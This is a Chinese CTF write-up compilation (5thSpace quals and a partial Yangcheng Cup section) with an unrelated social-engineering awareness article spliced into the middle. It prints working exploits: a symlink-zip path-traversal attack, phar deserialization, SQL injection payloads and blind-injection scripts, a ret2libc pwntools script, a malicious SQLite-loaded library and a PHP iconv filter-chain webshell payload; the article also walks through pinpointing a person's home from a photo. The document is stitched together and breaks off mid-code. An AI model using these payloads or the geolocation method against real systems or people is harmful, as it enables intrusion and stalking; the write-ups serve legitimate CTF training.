5thSpace Partly Writeup | QUALS

MISC

sakana_reveage

看源码:

            #no symlink for it 
            for zip_info in zipfile.ZipFile(zip_file).infolist():
                if zip_info.external_attr >> 16:
                    print("Hacker!!!")
                    return

所以我们可以选择发送输入。如果存在符号链接,则会打印“hacker”并返回,因此我们无法将如下所示的 zip 文件上传到此函数:

ln -s /flag symlink_to_flag.link 
zip --symlink flag.zip symlink_to_flag.link

binascii.Error被抛出时,我们并没有返回,而是继续运行该函数。这导致尝试提取/tmp/sakanas.zip

def sakana_upload():
    sakana_file_name = input("Name for your sakana:")

    encoded_sakana_content = input("Base64-encoded sakana:")
    try:
        decode_content = base64.b64decode(encoded_sakana_content)
    except binascii.Error:
        print("Error base64!")
        return

    if decode_content == b"":
        print("Empty file!")
        return

    if not decode_content.startswith(b"sakana"):
        print("Only sakana files are allowed!")
        return

    with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
        sakana_file_handle.write(decode_content)

在这里我们看到文件名容易受到目录遍历攻击。这意味着我们也可以写入../../../tmp/sakanas.zip. 所以也许我们可以通过将文件上传到这个路径来读取标志,然后binascii.ErrorUpload sakanas of Zip函数中触发 a 时将其解压缩。

此外文件内容base64解码开头必须是sakana,所以创建一个内容为sakana的sakana文件

cat flag.zip >> sakana 
base64 sakana
#c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

然后进行上传,再触发解压:

┌──(kali㉿kali)-[~]
└─$  nc 47.93.30.67 57427

   _____      /\/|        /\/|              _____ _    ___       ______ 
  / ____|    |/\/ |      |/\/              / ____| |  / _ \     |  ____|
 | (___   __ _  | | ____ _   _ __   __ _  | (___ | |_| | | |_ __| |__   
  \___ \ / _` | | |/ / _` | | '_ \ / _` |  \___ \| __| | | | '__|  __|  
  ____) | (_| | |   < (_| | | | | | (_| |  ____) | |_| |_| | |  | |____ 
 |_____/ \__,_| |_|\_\__,_| |_| |_|\__,_| |_____/ \__|\___/|_|  |______|

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 1
Name for your sakana:../../../tmp/sakanas.zip.zip
Base64-encoded sakana:c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 4
Base64-encoded zip of sakanas:a
Error base64!
[/tmp/sakanas.zip]
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
warning [/tmp/sakanas.zip.zip]:  6 extra bytes at beginning or within zipfile
  (attempting to process anyway)
Zip successfully uploaded and extracted

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 2
0 -> symlink_to_flag.link

Select num which sakana to download
>> 0
Here is your sakana file(base64ed)
ZmxhZ3s2U0FVdDJ1VzV2blNKTjZ1VHhhMkpNWVdnUUNhSEZIVn0=

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

image-20220919180324-caoedru

5_Misc_m@sTeR_0f

这道题进入之后是一个

image

sqlite 查询的页面,经过测试后发现过滤了许多的内容,由于这里放在了 misc,考虑是一些cve,不过也没有找到。

后来想到了利用写文件写入恶意so文件,然后利用

这里首先生成一个恶意的 so 文件

b5a5357b23addfbbb9bb72dee037481

利用sqlite的writefile将恶意so文件写入,这里因为 . 被过滤文件名需要套一个hex,文件内容我们也用 hex 写入即可

image

然后load一下即可执行我们写入的命令,load没过大小写,估计是非预期吧

image

5_简单的Base

666c61677b57656c636f6d655f686572657d

hex解码即可

image

web

5_web_BaliYun

dirsearch扫描后 www.zip 源码泄露 发现是phar反序列化

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }

此处存在任意文件读取漏洞,打眼一看看到 file_exit,phar没跑了,构造 phar 文件

<?php
class upload{
    public $filename = "/flag";
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new upload();
$phar -> setMetadata($object);
$phar -> stopBuffering();

web1

5_easylogin

登录界面 发现存在宽字节注入漏洞

web2

尝试进行注入,双写绕过union select,发现数据库里没东西

直接利用union任意修改密码的漏洞 尝试修改密码登录

username=admin%df'uniunionon(selselectect(1),2,0x3936653739323138393635656237326339326135343964643561333330313132)#&password=111111

web22

5_web_Eeeeasy_SQL

http://39.107.76.202:64040/api/ 发现存在目录遍历漏洞,看到 flag.php,直接访问回显

image

尝试登录,发现可以通过注释引号的方式闭合

image

但是闭合后是一个跳转,并不是什么拥有特征的界面,这里过滤了非常多的注入相关的内容,selectsubstrleftmid*-+|,空格 等等,但是大于小于号没有过滤,猜测这里可能还是存在盲注。但是没有发现怎样进行盲注,sleep 等函数也被禁用了,不能延时也没有回显。

后续在测试的时候发现,这里如果能够有返回为false的话就会回显 msg,经过测试后发现,我们可以构造条件语句进行盲注,空格可以用 #%0a 绕过

or(case#%0awhen#%0ausername>0x60#%0athen#%0a1#%0aelse#%0apow(~0,17)#%0aend)#&

image

image

这样的话我们就开可以编写脚本进行盲注,这里要注意加上 allow_redirects=False

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
  "password":"or(case when password>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

这样获取到的 ADMIM@666 和 AAAA@XXXXZZZ 的那个用户名和密码并登录不上去。

这里尝试了一下 hex,因为之前做过类似的, hex 会从后向前进行读取,应该算是个非预期了233

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
#  "password":"or(case when hex(username)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  "password":"or(case when hex(password)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

注出来之后解码,登录即可

image

username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!

登陆后访问 /api/flag.php,一个简单的文件包含 /proc/self/root 即可绕过

5_web_letmeguess_1

弱密码 admin amdin123 登录

发现 ; 被过滤,%0a ,空格被过 ${IFS},文件名被过,通配符

image

简单绕一绕就好了

image

PWN

5_1H3ll0Rop

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import * 
context.os = 'linux'
context.log_level = "debug"
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'
p = remote('39.106.138.251',37817)
#p = process('./H3ll0Rop')
libc = ELF('./libc-2.23.so')
elf = ELF('./H3ll0Rop')
rdi = 0x0000000000400753
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pl = b'a'*0x68 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#gdb.attach(p)
p.sendlineafter('\n\n',pl)
ru('\n\n')
libcbase = uu64(r(6))-libc.sym['puts']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase +0x000000000018ce57
pl = b'a'*0x68 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter('\n\n',pl)
itr()

ret2libc

RE

5_re2

ghidra打开,是一道迷宫题,迷宫为三个15*15的正方形,将三个迷宫路径连接得到flag 。在ida里导出地图数据

写脚本把map还原出来

#include <bits/stdc++.h>
int a1[15][15] ;
int a2[15][15] ;
int a3[15][15] ;
int a[700] = {
        1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    1, 0, 3, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 0, 0, 0, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 1, 1, 0, 1, 
    1, 0, 0, 0, 0, 1, 1, 1, 
    1, 0, 0, 1, 1, 0, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    0, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 1, 1, 1, 1, 0, 
    1, 1, 0, 1, 1, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 1, 
    1, 0, 1, 1, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 1, 0, 
    1, 0, 1, 1, 0, 1, 1, 0, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 1, 0, 3, 1, 
    1, 1, 0, 0, 0, 0, 0, 1, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    1, 0, 0, 0, 0, 0, 1, 1, 
    1, 1, 1, 0, 0, 0, 0, 1, 
    0, 0, 0, 0, 0, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 1, 1, 
    1, 1, 0, 0, 1, 1, 1, 1, 
    1, 0, 0, 0, 0, 0, 0, 0, 
    1, 0, 0, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 1, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    1, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 4, 0, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 3, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 1, 1, 0, 1, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 0, 0, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    1, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 0
};
void makee1(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a1[i][j]);
        }
        printf("\n");
    }
}
void makee2(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a2[i][j]);
        }
        printf("\n");
    }
}
void makee3(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a3[i][j]);
        }
        printf("\n");
    }
}
int main(){
​
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a1[i][j] = a[i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a2[i][j] = a[0xe1 + i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a3[i][j] = a[0xe1 + 0xe1 + i * 15 + j];
        }
    }
    makee1();
    printf("\n\n");
    makee2();
    printf("\n\n"); 
    makee3();
    return 0;
}

走迷宫得到路径:

image

dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss,md5 加密包裹得到flag

Social Engineering Summary

黑客技术就像魔术,处处充满了欺骗。

不要沉迷于网络技术,人才是突破信息系统的关键。

只要敢做就能赢。

在电影《我是谁:没有绝对安全的系统》中,主角本杰明充分利用自己高超的黑客技术,非法入侵国际安全系统,并在最后逃之夭夭。在电影中,有一句经典的台词:

所有黑客手段中最有效的、最伟大的幻想艺术——社会工程学。

image

那么,什么是社会工程学社会工程学攻击有哪些方式我们平时如何去防范它呢?本期网安知识系列科普就来带大家深入浅出的了解一下,关于社会工程学的那些事

什么是社会工程学

当前世界上的头号黑客—凯文·米特尼克,曾经在他出版的《反欺骗的艺术》中曾提到,人为因素才是安全的软肋。确实如此,很多企业、学校、公司在信息安全方面投入大量的资金,但最终导致数据泄露的原因,往往却是放生在人本身上。

或许大家难以想象,对于黑客们来说,通过一个用户名、一串数字、一段简单的对话、抑或是一张照片,他们就可以通过这些简单的线索,通过社工手段,加以筛选、整理后,就能把你的个人情况信息、家庭状况、经济实力、婚姻现状研究的一清二楚。

image

虽然这个可能是最不起眼,而且还是最麻烦的方法。但这是一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这,便是社会工程学黑客技术。

为什么攻击者会选择社会工程学进行攻击行为?

因为它是最便捷的攻击方式。

攻击者在搞定一个极其复杂的内网环境或者高度防御系统的时候,仅凭外网是很难找到突破口,外网的安全是相对安全的。

但是,通过社工拿到一个泄露的账户和密码或者一个email来定位实施单一攻击(类似APT的水坑攻击),只要有机会接触到内网,那么通过一些工具直接打穿内网,外网代理进内网,那么就会有更多的数据被泄露、被贩卖,形成一种恶性循环。

信任是一切安全的基础,对于保护与审核的信任,通常被认为是整个安全链中最重要的一环,因为人才是所有安全措施的最终实施者。而信息安全的本质就是信息拥有者和攻击者之间的较量,所以信息拥有者是社会工程学攻击的主要目标,也是无法忽视的脆弱点。

以下例子均为实际工作过程中发现,内容较为敏感,相关信息已联系有关部门。

文章图片已进行马赛克处理。

社会工程学攻击

信息泄露

信息时代,使用各类手机软件,登录各种网站时大都需要用户填写手机号、性别、爱好等个人信息,否则供应商将会拒绝提供服务。然而在我们享受服务时,却忽视了个人信息泄露所带来的安全问题。

信息泄露:Google语法查询

先问大家一句,大家觉得对自己的个人信息保护怎么样,是否存在隐私泄露呢?

思考几秒,然后我们往后看。

image

众所周知,Google公司拥有着全球最大的搜索引擎—谷歌搜索引擎,可以说是几乎囊括了人类智慧的结晶。由于知识繁多复杂,为了方便查询,Google便推出了Google语法。通过互联网收集数据,抓取有意义的信息,将其存储在数据中心。任意一次搜索,在不到一秒钟的时间里,它就会为你提供多个答案。

那么,Google语法和信息泄露有什么关系呢?别急,给大家看看张截图:

image

这张截图是我们运用Google语法查询中返回的表格数据,可以看到上面有很多内容,比如姓名电话邮箱学号单位毕业学校,甚至还有出生日期等敏感信息,而根据返回结果来看,56300条结果,用时0.23秒,便可得知这样的信息公布在公网上被泄露的数量并不在少数,并且获取方式极其的简单。

获取到了姓名、电话、出生日期和学号等这些重要信息,我非常相信用生日或者包含生日作为密码的同学并不在少数,那么接下来黑客就有可能根据这些信息频繁登录大家的社交、金融或是学校内网账号,来实现进一步的利用,造成更为严重的损失。

信息泄露:信息贩卖

大家的家中是不是经常遇到下面这些情况:

新车手续还没办齐全,推销保险的就来了;新房钥匙刚拿到手,装修公司的电话就到了;在网上买好机票不到一个小时,就有航班延误、航班取消的诈骗电话如期而至;刚注册好公司,百度推广的电话一个接一个;甚至一个知道你各种信息的“警察”打电话来,说你涉嫌洗钱了……各种各样的推销广告、不胜其烦的骚扰电话和层出不穷的诈骗方式,让人防不胜防。

如果有遇到这些情况,那么很抱歉,你的信息已经被泄露给了无关人员。

而在这背后是海量的个人信息遭遇泄露,每天每时每刻都在发生!!!

image

个人信息泄露源头中,有电信公司人员,也有快递公司、银行、医院、学校、工商局等部门工作人员;更有正规或不正规的公司,收集了大量的用户信息,比如目前绝大多数的互联网公司注册帐号都需要手机号。

商业银行未经客户授权,不得将客户相关信息用于本行信用卡业务以外的其他用途。而在调查中发现,种种规定屡成“一纸空文”,导致大量客户信息被泄露:银行“内鬼”倒卖知情人士介绍,每条个人信息被提交给银行后,要经过支行、分行、信用卡中心等多个环节,经手人员众多。

而对于一些“新鲜的信息”,通常以一条两毛,或者一毛的价格卖给有需要的客户,所谓“新鲜信息”是手机用户的信息首次被获取到,还不曾被骚扰。近期,内蒙古警察破获一起信息诈骗案,犯罪团伙在网上购买个人信息,或者通过自身窃取个人信息之后,专门对病人实施诈骗,在警方查获的犯罪嫌疑人的硬盘中竟保存着80G的个人信息!

而这些信息,落入到黑客手里就是如获至宝。只要多获得一个用户的数据,那么进入某相关内网的可能性就多了一分;即使不选择进入内网,这些数据放在暗网上,可都是诈骗团伙、贩毒团伙等犯罪组织眼里的香饽饽,也是能卖一个不错的价格。

河南省某次信息泄露案件中发布在暗网上的极少一部分数据,包含身份证号、姓名、家庭住址、年龄等敏感数据。

image

信息泄露:情报分析

image

当黑客确定目标后,准备收集大家的信息,就会开始计划以下事项:

我们需要针对什么
我们的目标是什么
我们什么时候去收集

而情报信息搜集由五个部分组成:

规划和指导
搜集
处理和利用
分析报告
传播与整合

接下来,为了方便大家的思考,我用两个图片案例进行详细描述。

社工分析

这里有一张图片,大家看一下,能联想到什么呢?或者能通过这张图片能分析出拍摄者的信息吗?

image

如果大家觉得信息不够的话,那么再来一点,给大家再加一段对话如何?

qq

怎么样?结果如何?大家能想到这位拍摄者的家庭地址吗?

如果没想到,没关系,接下来带着大家抽丝剥茧,复原分析。

  1. 首先观察这张实景图,有比较明显的两个特征:1.冬天穿着较厚的羽绒服,说明是拍摄地点是秦岭淮河线以北;2.远处有比较明显的塔楼,而根据灯光来看,这座塔楼是周围的主要建筑。那么我们可以大胆推测一下是 西安——大雁塔image

    经过对比发现,相似度极高!

  2. 主角家距离大雁塔一共有七站地铁,其中要进行中转。 同时作者是从始发站出发的,距离下一站有一公里多,距离始发站800多米。

    那么让我们来看下西安市地铁

    image

    根据我们得到的信息,距离大雁塔站7站的始发站有两个,分别是2号线的韦曲南3号线的鱼化寨。但是主角在地铁过程中要进行中转,所以我们可以锁定主角是从韦曲南站出发的。

  3. “走着去下一站不就6站了”可知女主的家在“航天城”“韦曲南”两站点附近。并且女主家距韦曲南800多米,距航天城1000多米。

    那么我们就能采用画圆取交点的方法,搜索附近小区。其中检测到兰乔国际城符合要求(距离韦曲南站点930米,距离航天城站点1.4km。)

    image

这便是一个照片信息提取与利用的经典案例。试想一下,如果日常生活中,有人利用大家在朋友圈、微博等社交媒体发布的照片,进行图像分析,在监视你的一举一动,会是多么可怕的一件事情。

Exif信息

可交换图像文件格式 (英语:Exchangeable image file format,官方简称 Exif ),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。

Exif可以附加于JPEG、TIFF、RIFF等文件之中,为其增加有关数码相机拍摄信息的内容和索引图或图像处理软件的版本信息。如:拍照方向、相机设备型号、拍摄时间、ISO 感光度、GPS 地理位置等数据。

下面就是一张图片的Exif信息

image

那么此时,你的位置,你的手机型号,当地时间都会被记录下来。如果被不法分子利用,分析成针对你的路线轨迹图,那么接下来对你进行相关诈骗成功的可能性会更高。

为什么他人知道我的轨迹后诈骗成功性更高?

因为在交流中,信息是从一个实体传送到另一个实体的过程,是一个双向的过程,而在这个过程时刻发生着信息的交换、传播以及处理。沟通是我们把别人带到思维空间,分享个人的信息,所有的参与者都必须有一种彼此的心理位置概念,他们中间存在一个可沟通的渠道。

那么此时,试想以下,对方掌握了你的行动轨迹,便和你有了相似的参与感,沟通的渠道更加的牢固,而再设计一种针对于你的诈骗话术脚本诱骗上钩,也变得更加轻松。

信息刺探

image

黑客在入侵内网前,通常都会对目标进行一次较为全面的检测,所谓不打没有把握的仗,入侵前的信息刺探很重要,通过对目标主机的检测,我们可以知道对方主机操作系统类型,开放了哪些网络服务,是否存在漏洞等信息。将搜集到的信息整理起来将会对后面的入侵工作起到事半功倍的效果。

同样,针对不同的人,黑客需要在接触前还要进行一个信息刺探,以便生成被攻击者的行为画像。

  1. 通过QQ号获取信息,包括用户真实姓名、昵称。通过QQ空间获取照片、行为特征、好友。
  2. 通过手机号找出QQ号,腾讯QQ提供了匹配通讯录的功能,这一功能本意是想方便添加通讯录里的好友,但由于手机号匹配之后还是会显示部分信息,因此在无意之中,自身某些信息便被神不知鬼不觉的透漏了。

    image

  3. 通过社交网络微博、微信、知乎、贴吧、虎扑等获取用户相关信息。

    大家之中有很多人的朋友圈、QQ空间、微博等内容并不会对无关人员进行设置限制访问,那么自身性格画像就会随意暴露给外围,进而让许多犯罪分子有了可乘之机。

    image

钓鱼攻击

网络钓鱼(Phishing,与钓鱼的英语fishing发音相近,又名钓鱼法或钓鱼式攻击)是通过大量发送声称来自于银行或其他知名机构的欺骗性内容,意图引诱收信人给出敏感信息(如用户名、口令、帐号ID 、 ATM PIN 码或信用card详细信息)的一种攻击方式。

image

攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用card号、银行card账户、身份ID号等内容。诈骗者通常会将自己伪装成网络银行、在线零售商和信用card公司等可信的品牌,骗取用户的私人信息。

常见的钓鱼攻击主要分为两类:1.电子邮件钓鱼。2.语音钓鱼

钓鱼邮件

钓鱼由按部就班的环节,同样,电子邮件钓鱼也有相应的步骤与计划进行实施

  • 看天

    根据不同国家或地区,看看当前国情和时事,发现哪些目标和人群适合钓鱼攻击,进行定点钓鱼。

  • 选竿

    选择特定的目标人群。

  • 做饵

    制作具有诱惑性的文件、图片(隐写术)、木马、执行文件等等钓鱼工具(免杀)。

  • 上大鱼

    最后剩下的就是等待一条有缘的鱼上钩咯。

而在钓鱼攻击前,攻击者通过前期简单的信息搜集构造出以假乱真的钓鱼页面、信息,诱导被攻击者自己主动交出相应的权限或是财产等。我们常说的电信诈骗实际上就是属于这一类攻击。

这里简单介绍两种网站链接方面的内容:

短链接

​ 我们可以观察链接域名,很多时候攻击者会将域名套上一层短链接解析来实现伪装,比如 sina.lt 网站,

image-20220906033732141

恶意网站通常会有很长的 URL,因为网站搭建过程中各种参数的需要较多、网站简陋 进行的优化又较少,域名通常会选取廉价域名,较为容易识别,但是在转成短连接后,恶意 URL 就精简为了如下短链接

image-20220906033648216

​ 如果看到部分链接的格式或域名可疑,疑似短链接,切记不要轻易点击与信任!

“同形异义词”攻击

这里有三个看起来差不多的字符 :a、a、α ,但是第一个是西里尔文的 a,第二个是英文里的 a、第三个是俄文里的 α (数学题里的阿尔法)

虽然看起来都是 A,但计算机显然把它们当成不同的字符来对待。

域名作为网站的名称当然不会只有英文,各种语言都可以在域名中使用自己的语言,但是这其中也藏着安全问题,比如这里的 https://www.аррӏе.com/https://www.apple.com

动图

上图正是两个网址在浏览器中的效果图,效果所差无几,但是确实截然不同的,试想如果前者做成了假的苹果官网,你会不会有可能就这样付款了呢?

在这种问题上,黑客的灵活思路是层出不穷的,我们能够做到的就是绷紧心中的那根弦,无时无刻保持警惕!

语音钓鱼

image

Vishing (voice phishing,语音钓鱼) 是一种新出现的智能攻击形式,其攻击目的就是试图诱骗受害者泄漏个人敏感信息。

语音钓鱼是网络钓鱼的电话版,试图通过语音诱骗的手段,获取受害者的个人信息。虽然这听起来像是一种过时的骗局套路,但在其中却加入了高科技元素:例如,它们涉及自动语音模拟技术,或者诈骗者可能会使用从较早的网络攻击中获得的有关受害者的个人信息。

随着AI的普及,语音钓鱼的频率也会越来越多。2019年,一家英国能源公司就遭遇了新型诈骗——AI合成的“语音钓鱼”。该能源公司主管以为接到德国总公司CEO来电,因为对方操着一口地道的德国口音,语调也跟他熟悉的德国总公司CEO几乎一模一样,于是就把款项转了过去,被诈骗了22万欧元。

据统计,75%的诈骗受害者报告说,攻击者在诈骗开始前就已经掌握了一些有关他们的个人信息。

由此可见,语音钓鱼攻击,与本文前面提到的信息泄露紧密结合起来,两者相互搭配,进而使对方的骗局显的更为可信,诱导受害人上钩。

而且,相对于传统的诈骗电话,语音钓鱼诈骗可以避开所有的安全防护手段,因为该攻击直接利用了受害者的防骗意识。语音钓鱼很轻易就能装得既真实又具说服力,因此能骗得用户的信赖,让他们上当。而融合了先进的 AI技术 后,让接听者误以为打电话的是熟人或者是上司本人,因此会大大降低用户的防骗意识。

那么该如何防范社会工程学攻击呢?

image

最为重要的一点,便是自身要加强个人信息安全保护意识,不要轻易将个人信息提供给无关人员;

其次,在网站填写个人注册信息,注意网站是否有用户隐私保护制度。如果没有,谨慎填写。即使有隐私制度,如果没有特殊需要,最好只填写最少必须信息;

第三,陌生人的问卷调查,对方要求留下姓名、电话、职业、工作单位等信息,这些情况最好谨慎填写;

第四,在手机维修点,顾客应监督工作人员删除送修手机内的电话号码、邮件等个人信息;

第五,个人的电子邮箱、网络支付及银行卡等密码要有差异;增加密码难度,在这里并不建议密码中含有生日这种易于获取的信息;

第六,妥善处置快递单、车票、购物小票等包含个人信息的单据,切勿随意丢弃。

而对于终结当前社会中的 “信息黑市”乱象则需多方面协同,而作为社会大众的我们,更应加强对该类问题的监督责任,一旦发现该类问题,应积极主动向相关部门举报。以全社会各界人士的共同行动,为“信息安全”保驾护航!

2022 YangchengCup | Partly Writeup

WEB

Web1:rce_me

(231条消息) [PHP]无需可控文件的LFI-RCE学习_bfengj的博客-CSDN博客

https://tttang.com/archive/1395/

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符:

<?=`$_GET[0]`;;?>
PD89YCRfR0VUWzBdYDs7Pz4=
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
